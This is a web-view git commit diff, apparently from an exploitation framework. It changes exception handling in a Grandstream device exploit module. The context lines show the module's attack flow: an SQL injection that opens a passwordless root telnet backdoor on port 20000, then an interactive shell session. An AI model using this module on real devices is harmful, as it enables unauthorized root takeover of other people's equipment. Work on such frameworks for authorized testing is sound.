Commit b3ec1e82 by lucyoa

Fixing exception handling #2

parent 9d029f30
...@@ -49,7 +49,7 @@ class Exploit(exploits.Exploit): ...@@ -49,7 +49,7 @@ class Exploit(exploits.Exploit):
conn.write("quit\r\n") conn.write("quit\r\n")
conn.close() conn.close()
print_success("SQLI successful, going to telnet into port 20000 with username root and no password to get shell") print_success("SQLI successful, going to telnet into port 20000 with username root and no password to get shell")
except: except Exception:
print_error("Exploit failed. Could not log in.") print_error("Exploit failed. Could not log in.")
try: try:
...@@ -61,7 +61,7 @@ class Exploit(exploits.Exploit): ...@@ -61,7 +61,7 @@ class Exploit(exploits.Exploit):
conn.read_until("# ") conn.read_until("# ")
print_success("Authenticaiton Successful") print_success("Authenticaiton Successful")
conn.interact() conn.interact()
except: except Exception:
print_error("Failed to log into backdoor.") print_error("Failed to log into backdoor.")
else: else:
print_error("Exploit failed. Target does not appear vulnerable") print_error("Exploit failed. Target does not appear vulnerable")
...@@ -70,7 +70,6 @@ class Exploit(exploits.Exploit): ...@@ -70,7 +70,6 @@ class Exploit(exploits.Exploit):
def check(self): def check(self):
try: try:
conn = telnetlib.Telnet(self.target, self.port) conn = telnetlib.Telnet(self.target, self.port)
if 'Grandstream' in conn.read_until("login:"): return 'Grandstream' in conn.read_until("login:")
return True except Exception:
except:
return False return False
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment